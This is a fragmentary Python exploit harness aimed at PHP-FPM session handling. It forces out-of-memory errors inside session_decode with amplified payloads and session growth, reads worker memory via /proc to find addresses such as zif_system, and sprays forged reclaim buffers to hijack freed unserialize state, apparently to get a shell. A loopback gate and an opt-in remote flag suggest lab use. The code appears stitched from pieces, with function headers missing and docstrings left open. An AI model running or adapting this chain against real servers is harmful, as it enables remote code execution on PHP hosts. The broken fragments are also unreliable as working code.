"app": "/app.php",

"arm": "/bigvar.php",

"ref": "/ref.php",

"probe": "/nope.php",

"grow": "/grow.php",

"cookie": "PHPSESSID",

"""True when every address for host is a loopback address."""

if not host:

return False

try:

infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM)

except socket.gaierror:

return False

return bool(infos) and all(

"""Remote use is opt-in, matching the Apache dispatcher's safety gate."""

if allow_remote:

return True

for url in (base, builder):

if not url:

continue

host = urllib.parse.urlsplit(url).hostname or ""

if not is_loopback(host):

return False

global ARM_MODE, BUILDER_PREFIX, WORKERS, GROW_CHUNK, GROW_MAX, ARM_BODY

global _probe_usable

for key, attr in (("app", "app_path"), ("arm", "arm_path"),

("ref", "ref_path"), ("probe", "probe_path"),

("grow", "grow_path"), ("cookie", "session_cookie")):

value = getattr(args, attr, None)

if value:

PATHS[key] = str(value)

BUILDER_PREFIX = str(getattr(args, "builder_prefix", "") or "")

mode = getattr(args, "arm_mode", None) or ARM_MODE

if mode == "auto":

base_url = getattr(args, "base", "") or ""

builder_url = getattr(args, "builder", "") or base_url

same_origin = _origin(base_url) == _origin(builder_url)

prefixed = bool(BUILDER_PREFIX)

mode = "growth" if (same_origin and not prefixed) else "builder"

ARM_MODE = mode

WORKERS = max(1, int(getattr(args, "workers", 1) or 1))

GROW_CHUNK = max(4096, int(getattr(args, "grow_chunk", 0) or GROW_CHUNK))

GROW_MAX = max(1, int(getattr(args, "grow_max", 0) or GROW_MAX))

ARM_BODY = max(4096, int(getattr(args, "arm_body", 0) or ARM_BODY))

# an explicit --arm-body pins the probe size; otherwise the ladder walks

# PROBE_LADDER and caches whatever the target accepted

def __init__(self, url: str, timeout: float = 60.0, prefix: str = ""):

u = urllib.parse.urlsplit(url)

self.host = u.hostname or "127.0.0.1"

self.port = u.port or 80

self.path = u.path or "/"

self.prefix = prefix

self.timeout = timeout

def _p(self, path: str) -> str:

"""Path with the surface prefix applied (builder pool behind /b/)."""

return (self.prefix + path) if self.prefix else path

def _connect(self) -> socket.socket:

sock = socket.create_connection((self.host, self.port), timeout=self.timeout)

sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

return sock

def _exch(self, request: bytes, read_cap: int = 1 << 22,

timeout: float | None = None) -> tuple[int, dict[str, str], bytes]:

sock = self._connect()

sock.settimeout(timeout or self.timeout)

try:

sock.sendall(request)

data = bytearray()

while len(data) < read_cap:

try:

chunk = sock.recv(65536)

except OSError:

break

if not chunk:

break

data.extend(chunk)

finally:

sock.close()

head, _, body = bytes(data).partition(b"\r\n\r\n")

lines = head.decode("latin1", "replace").split("\r\n")

status = 0

if lines and re.match(r"HTTP/1\.[01] \d{3}", lines[0]):

status = int(lines[0].split()[1])

headers: dict[str, str] = {}

for line in lines[1:]:

if ":" in line:

k, v = line.split(":", 1)

headers[k.strip().lower()] = v.strip()

return status, headers, body

def get(self, path: str, cookie: bytes | None = None,

read_cap: int = 1 << 22,

timeout: float | None = None) -> tuple[int, dict[str, str], bytes]:

extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else ""

req = (f"GET {self._p(path)} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n"

f"{extra}Connection: close\r\n\r\n").encode()

return self._exch(req, read_cap=read_cap, timeout=timeout)

def post_multipart(self, parts: list[dict], boundary: bytes,

cookie: bytes | None = None,

read_cap: int = 1 << 22,

timeout: float | None = None) -> tuple[int, dict[str, str], bytes]:

body = build_multipart(parts, boundary)

extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else ""

req = (f"POST {self._p(self.path)} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n"

f"{extra}"

f"Content-Type: multipart/form-data; boundary={boundary.decode('latin1')}\r\n"

f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body

return self._exch(req, read_cap=read_cap, timeout=timeout)

def post_urlencoded(self, fields: dict[str, str],

cookie: bytes | None = None,

path: str | None = None,

timeout: float | None = None) -> tuple[int, dict[str, str], bytes]:

body = urllib.parse.urlencode(fields).encode()

extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else ""

req = (f"POST {self._p(path or self.path)} HTTP/1.1\r\n"

f"Host: {self.host}:{self.port}\r\n"

f"{extra}Content-Type: application/x-www-form-urlencoded\r\n"

f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body

return self._exch(req, timeout=timeout)

def post_raw(self, path: str, body: bytes, cookie: bytes | None = None,

timeout: float | None = None) -> tuple[int, dict[str, str], bytes]:

"""POST an already-encoded application/x-www-form-urlencoded body.

extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else ""

req = (f"POST {self._p(path)} HTTP/1.1\r\n"

f"Host: {self.host}:{self.port}\r\n"

f"{extra}Content-Type: application/x-www-form-urlencoded\r\n"

f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body

"""The builder surface: same client as the chain, with the pool prefix.

out = bytearray()

for part in parts:

name = part["name"] if isinstance(part["name"], bytes) else part["name"].encode("latin1")

out += b"--" + boundary + b"\r\n"

out += b'Content-Disposition: form-data; name="' + name + b'"'

if part.get("filename") is not None:

fname = (part["filename"] if isinstance(part["filename"], bytes)

else part["filename"].encode("latin1"))

out += b'; filename="' + fname + b'"'

out += b"\r\nContent-Type: application/octet-stream"

data = part["data"] if isinstance(part["data"], bytes) else part["data"].encode("latin1")

out += b"\r\n\r\n" + data + b"\r\n"

out += b"--" + boundary + b"--\r\n"

marker = f"php-fpm: pool {pool}".encode()

for name in os.listdir("/proc"):

if not name.isdigit():

continue

try:

with open(f"/proc/{name}/cmdline", "rb") as handle:

data = handle.read()

except OSError:

continue

if marker not in data:

continue

# workers of every build look alike; match the binary path

exe = os.readlink(f"/proc/{name}/exe")

if f"php-{version}" in exe:

return int(name)

def __init__(self, version: str, pool: str = "chain"):

self.version = version

self.pid = find_pool_worker(version, pool)

if self.pid is None:

raise RuntimeError(f"no php-fpm '{pool}' worker for {version}")

self.maps = self._read_maps()

self.pie_base = self._pie_base()

self.bg = self.pie_base + self._symbol("basic_globals")

self.zif = self.pie_base + self._symbol("zif_system")

self.dtor = self.pie_base + self._symbol("zval_ptr_dtor")

def _read_maps(self) -> list[tuple[int, int, str]]:

out = []

with open(f"/proc/{self.pid}/maps", encoding="utf-8") as handle:

for line in handle:

rng, perms, *rest = line.split()

start_s, end_s = rng.split("-")

out.append((int(start_s, 16), int(end_s, 16), perms))

return out

def _pie_base(self) -> int:

exe = os.readlink(f"/proc/{self.pid}/exe")

with open(f"/proc/{self.pid}/maps", encoding="utf-8") as handle:

base = None

for line in handle:

parts = line.split()

if parts[-1] != exe:

continue

start = int(parts[0].split("-")[0], 16)

if base is None or start < base:

base = start

if base is None:

raise RuntimeError("pie base not found")

return base

def _symbol(self, name: str) -> int:

binary = os.readlink(f"/proc/{self.pid}/exe")

result = subprocess.run(["nm", binary], capture_output=True, text=True)

# PHP <= 7.2 exports the zval destructor with a leading underscore

aliases = {name, "_" + name}

for line in result.stdout.splitlines():

parts = line.split()

if len(parts) >= 3 and parts[-1] in aliases:

return int(parts[0], 16)

raise RuntimeError(f"symbol {name} not found")

def read(self, addr: int, size: int) -> bytes:

with open(f"/proc/{self.pid}/mem", "rb") as handle:

handle.seek(addr)

return handle.read(size)

def u64(self, addr: int) -> int:

return struct.unpack("<Q", self.read(addr, 8))[0]

def u32(self, addr: int) -> int:

return struct.unpack("<I", self.read(addr, 4))[0]

def unserialize_data(self) -> int:

data_off, _level_off = _bg_offsets(self.version)

return self.u64(self.bg + data_off)

def unserialize_level(self) -> int:

_data_off, level_off = _bg_offsets(self.version)

return self.u32(self.bg + level_off)

def chunk_base(self, addr: int) -> int | None:

for start, end, perms in self.maps:

if start <= addr < end and "rw-p" in perms and end - start >= MEM_CHUNK:

base = addr & ~(MEM_CHUNK - 1)

if start <= base and base + MEM_CHUNK <= end:

return base

return None

def refresh(self) -> None:

self.maps = self._read_maps()

def dump(self) -> None:

d = self.unserialize_data()

level = self.unserialize_level()

chunk = self.chunk_base(d) if d else None

print(f"worker pid={self.pid}")

print(f"pie_base 0x{self.pie_base:x}")

print(f"basic_glob 0x{self.bg:x}")

print(f"zif_system 0x{self.zif:x}")

print(f"zval_ptrdtor 0x{self.dtor:x}")

print(f"BG.data 0x{d:x} level={level}")

"""Progress-key 4MB string -> session file with a huge key (cleanup=Off)."""

parts = [

{"name": PATHS["cookie"], "data": sid},

{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"A" * size},

{"name": "f", "filename": "a.txt", "data": b"x" * 16},

]

status, headers, body = builder.post_multipart(parts, b"BOUNDSZ16", timeout=180.0)

"""ref.php stores $_SESSION['r'] =& $_SESSION['a'] -> 'R:2' in the file."""

status, _headers, body = builder.post_urlencoded(

{"x": "1"}, cookie=_cookie(sid), path=PATHS["ref"])

"""A session-format string whose decode multiplies memory ~20x.

cached = _amplifier_cache.get(nbytes)

if cached is not None:

return cached

child = b"a:1:{i:0;a:1:{i:0;N;}}"

# Short strings FIRST: the stale var_hash then carries them at

# data[0..3], which is exactly what the HTTP leak's R:2 hook reads

# (the classic bigvar.php arm stored k0..k3 for the same reason).

seed = (b'a|s:2000:"' + b"K" * 2000 + b'";'

b'b|s:2000:"' + b"L" * 2000 + b'";'

b'c|s:2000:"' + b"M" * 2000 + b'";'

b'd|s:2000:"' + b"N" * 2000 + b'";')

# conservative per-child budget: i:<6 digits>;<child> tops out at 32

# bytes, so a 14-byte margin keeps the total under nbytes and well

# inside post_max_size (8M) and an 8m client_max_body_size

count = max(16, min(500000, (nbytes - len(seed)) // (len(child) + 14)))

items = [b"i:" + str(i).encode("ascii") + b";" + child

for i in range(count)]

# full session-format payload: grow.php passes it to session_decode as-is

blob = (seed + b"k|a:" + str(count).encode("ascii") + b":{"

+ b"".join(items) + b"}")

_amplifier_cache[nbytes] = blob

"""Arm with ONE amplified session_decode. True=armed, None=survived."""

global _amplifier_usable

ladder = (_amplifier_usable,) if _amplifier_usable else AMPLIFIER_SIZES

for size in ladder:

payload = _amplifier_payload(size)

try:

status, _headers, body = target.post_raw(

PATHS["grow"], b"p=" + payload, cookie=_cookie(sid),

timeout=300.0)

except (OSError, TimeoutError):

return True # worker died mid-request: treat as armed

body = _dechunk(body)

if status == 413:

continue # front caps bodies: try a smaller payload

if b"GROW_OK" not in body:

return True # fatal inside session_decode -> OOM -> armed

match = re.search(rb"GROW_OK \d+ B(\d+)", body)

if match and int(match.group(1)) == len(payload):

_amplifier_usable = size # payload arrived, decode survived

return None

# payload discarded by post_max_size: descend

chunk: int | None = None) -> tuple[bool, int]:

"""One growth round. Returns (armed, session_bytes).

chunk = GROW_CHUNK if chunk is None else chunk

fields = {"k": f"g{index:05d}", "v": "A" * chunk}

try:

_status, _headers, body = target.post_urlencoded(

fields, cookie=_cookie(sid), path=PATHS["grow"], timeout=180.0)

except (OSError, TimeoutError):

return True, -1 # the worker died mid-request: treat as armed

body = _dechunk(body)

if b"GROW_OK" not in body:

return True, -1 # fatal during session_start() -> OOM -> armed

"""Tip a stalled growth over memory_limit with one bigger body.

global _probe_usable

ladder = (_probe_usable,) if _probe_usable else PROBE_LADDER

for body_bytes in ladder:

fields = {"x": "B" * body_bytes}

try:

status, _headers, body = target.post_urlencoded(

fields, cookie=_cookie(sid), path=PATHS["grow"],

timeout=300.0)

except (OSError, TimeoutError):

return True

body = _dechunk(body)

if status == 413:

continue # front caps bodies: try a smaller one

if b"GROW_OK" not in body:

return True # fatal before the marker -> OOM -> armed

match = re.search(rb"GROW_OK \d+ B(\d+)", body)

arrived = int(match.group(1)) if match else -1

if arrived == body_bytes:

_probe_usable = body_bytes # full body landed, still under

return False

# body discarded by post_max_size: descend

print(f"[!] no probe body got through (413 or post_max_size below "

f"{PROBE_LADDER[-1]}): raise client_max_body_size to >= 2m and "

f"post_max_size to 8M on the target")

"""Arm a decode-side OOM on ONE default surface.

target = Target(base)

amplified = _amplifier_arm(target, sid)

if amplified:

print("[*] arm: amplified session_decode OOM (single request)")

return True

if amplified is None:

print("[*] arm: amplifier payload arrived but did not cross; "

"falling back to growth")

else:

print("[*] arm: no amplifier payload got through (413 or "

"post_max_size); falling back to growth")

last, stall, probes = -1, 0, 0

coarse = True

for index in range(GROW_MAX):

chunk = GROW_CHUNK if coarse else GROW_FINE

armed, size = _grow_round(target, sid, index, chunk)

if armed:

print(f"[*] growth arm: OOM at round {index}")

return True

if size > last:

# progress: reopen the coarse throttle (the save landed)

if not coarse:

print(f"[*] growth resumed at ~{size} bytes")

last, stall, probes = size, 0, 0

coarse = True

continue

# no progress: either the save did not land yet or we are at the wall

stall += 1

if stall >= 2 and coarse:

print(f"[*] growth stalled at ~{last} bytes; creeping with "

f"{GROW_FINE} byte rounds")

coarse, stall = False, 0

continue

if not coarse and stall >= 6:

if probes % 3 == 0:

print(f"[*] probing the wall at ~{last} bytes ({probes + 1})")

if _arm_probe(target, sid):

return True

probes += 1

stall = 0

if probes >= 40:

break

time.sleep(0.05) # give the previous request's save time to land

# A grown session shrinks the payload the amplifier needs: with ~60 MB

# on disk a 3 MB rung crosses memory_limit even on a front that caps

# bodies around 3-4 m, so give the amplifier one more shot here.

if _amplifier_arm(target, sid):

print("[*] arm: amplified session_decode OOM after growth")

return True

print(f"[!] growth reached ~{last} bytes but no OOM crossed "

f"memory_limit: arming needs 2 x session + probe body >= the "

f"limit, so either the front capped the probe body below "

f"{PROBE_LADDER[-1]} bytes (nginx client_max_body_size 8m, "

f"post_max_size 8M), session.lazy_write=On caps the save wall "

f"near 40 MB, or the consumer memory_limit is too high for this "

f"surface - a second surface with a lower memory_limit still "

f"works.")

"""Rebuild the OOM session and fire the producer (remote paths).

if ARM_MODE == "growth":

# One amplifier request arms the worker that takes it; repeat across

# the pool so every pm.max_children worker carries the stale state

# (RINIT only clears the worker a request lands on, so earlier arms

# stay standing). Each round is a single request.

for _ in range(WORKERS):

if not grow_until_armed(base):

raise RuntimeError(

"growth arm failed: the session never reached "

"memory_limit (raise --arm-body, lower --grow-chunk, or "

"point --grow-path at an endpoint that appends to the "

"session)")

return

chain = Target(base)

builder = builder_target(builder_url)

for _ in range(WORKERS):

big_session_post(builder, OOM_SID, size)

"""Rebuild the OOM session (php_session_cancel_decode unlinked it during

big_session_post(builder, OOM_SID, size)

producer_get(base, OOM_SID)

d = oracle.unserialize_data()

if not d or oracle.unserialize_level() != 1:

raise RuntimeError("stale state not armed")

if override:

return [int(x) for x in override]

path = os.path.join(ROOT, "profiles", f"{version}-fpm.json")

try:

with open(path, encoding="utf-8") as handle:

return [int(x) for x in

json.load(handle)["fpm"].get("reclaim_pads",

[4096, 4096, 4096])]

except (OSError, KeyError, TypeError, ValueError):

path = os.path.join(ROOT, "profiles", f"{version}-fpm.json")

try:

with open(path, encoding="utf-8") as handle:

return json.load(handle)

except (OSError, ValueError):

"unserialize_data": {

"last": 0, "first_dtor": 8, "last_dtor": 16, "allowed_classes": 24,

"ref_props": 32, "cur_depth": 40, "max_depth": 48, "entries": 56,

"size": 8216,

},

"var_entries": {"used_slots": 0, "next": 8, "data": 16, "max": 1018},

"zval": {"value": 0, "type_info": 8, "context": 12, "size": 16},

"zend_array": {"gc": 0, "flags": 8, "nTableMask": 12, "arData": 16,

"nNumUsed": 24, "nNumOfElements": 28, "nTableSize": 32,

"pDestructor": 48},

"zend_reference": {"gc": 0, "val": 8, "val_type_info": 16, "sources": 24},

"zend_string": {"gc": 0, "h": 8, "len": 16, "val": 24},

"zend_execute_data": {"opline": 0, "call": 8, "return_value": 16,

"func": 24, "num_args": 44, "arg1": 80},

"bucket": {"val": 0, "h": 16, "key": 24},

"""Struct layout of a PHP build (from its profile)."""

profile = _load_profile(version)

layout = copy.deepcopy(DEFAULT_LAYOUT)

if profile and isinstance(profile.get("layout"), dict):

for section, values in profile["layout"].items():

if isinstance(values, dict):

merged = dict(layout.get(section, {}))

merged.update(values)

layout[section] = merged

"""(data offset, level offset) of BG(unserialize) for a build."""

profile = _load_profile(version)

if profile:

meta = profile.get("fpm", {})

if "bg_unserialize_data_off" in meta and "bg_unserialize_level_off" in meta:

return int(meta["bg_unserialize_data_off"]), \

int(meta["bg_unserialize_level_off"])

size: int = 12288,

pads: list[int] | tuple[int, ...] = (4096, 4096, 4096)

) -> int | None:

"""Land a patterned reclaim buffer (pads + one big field) over d

chunk = oracle.chunk_base(d)

if chunk is None:

return None

# Unique marker: the heap retains freed buffer contents across requests,

# so a fixed marker could match a stale copy from a previous run.

marker = b"MK" + os.urandom(6)

content = bytearray(b"\x00" * size)

content[0:8] = marker

parts = [{"name": f"pad{i}", "data": b"C" * pad}

for i, pad in enumerate(pads)]

parts.append({"name": "big", "data": bytes(content)})

chain404.post_multipart(parts, b"PRBLAND1")

oracle.refresh()

data = oracle.read(chunk, MEM_CHUNK)

hits, idx = [], 0

while True:

pos = data.find(marker, idx)

if pos < 0:

break

hits.append(pos)

idx = pos + 1

d_off = d - chunk

cover = [h for h in hits if h <= d_off and d_off + need <= h + size]

if os.environ.get("PHP2SHELL_DEBUG"):

print(f"[debug] d={d:#x} chunk={chunk:#x} d_off={d_off:#x} "

f"need={need:#x} size={size:#x} hits={[hex(h) for h in hits]} "

f"cover={[hex(h) for h in cover]}")

if not cover:

print(f"[!] no covering reclaim buffer (hits={[hex(h) for h in hits]})")

return None

k = d_off - cover[0]

print(f"[*] d=0x{d:x} reclaim covers d at content off {k:#x}")

oom_size: int) -> int:

"""Rebuild the ref session (a failed consume saves the corrupted decode

ref_session_post(builder, REF_SID)

pads: list[int] | tuple[int, ...] = (4096, 4096, 4096)

) -> tuple[int, dict[str, str], bytes]:

"""Consume with the forged reclaim buffer.

parts = [{"name": f"pad{i}", "data": b"C" * pad}

for i, pad in enumerate(pads)]

parts.append({"name": "big", "data": forged})

parts.append({"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"})

parts.append({"name": "f", "filename": "a.txt", "data": b"x" * 8})

status, headers, body = chainapp.post_multipart(parts, b"CONSUME01",

cookie=_cookie(REF_SID))

print(f"[*] consumer status={status}")

chain = Target(args.base)

version = args.version

worker = find_pool_worker(version, "chain")

print(f"[*] chain worker before: {worker}")

# pre-RINIT OOM: big multipart POST to index.php (no session, body parse

# happens inside php_request_startup -> bailout -> FPM_EXIT_SOFTWARE)

parts = [{"name": f"p{i:04d}", "data": b"V" * (1 << 20)} for i in range(10)]

status, _h, body = chain.post_multipart(parts, b"PRERINIT1", timeout=60.0)

time.sleep(0.4)

worker2 = find_pool_worker(version, "chain")

print(f"[A] pre-RINIT OOM: status={status} worker {worker} -> {worker2} "

f"({'DIED' if worker != worker2 else 'survived'}) body={body[:60]!r}")

# post-RINIT OOM: producer (needs a big session; build one if missing)

if not os.path.isfile(session_file(version, OOM_SID)):

builder = builder_target(args.builder)

print("[*] building oom session (4MB) ...")

big_session_post(builder, OOM_SID, 4 << 20)

worker3 = find_pool_worker(version, "chain")

status, body = producer_get(chain, OOM_SID)

time.sleep(0.2)

worker4 = find_pool_worker(version, "chain")

print(f"[B] post-RINIT OOM: status={status} worker {worker3} -> {worker4} "

f"({'DIED' if worker3 != worker4 else 'survived'})")

print(f" body head: {body[:120]!r}")

builder = builder_target(args.builder)

sid = args.sid.encode("latin1")

status, _body = big_session_post(builder, sid, args.size)

path = session_file(args.version, sid)

size = os.path.getsize(path) if os.path.isfile(path) else -1

print(f"builder status={status} session_file={path} size={size}")

builder = builder_target(args.builder)

sid = REF_SID

status, body = ref_session_post(builder, sid)

path = session_file(args.version, sid)

content = b""

if os.path.isfile(path):

with open(path, "rb") as handle:

content = handle.read()

print(f"builder status={status} body={body[:40]!r}")

print(f"session_file={path} content={content!r}")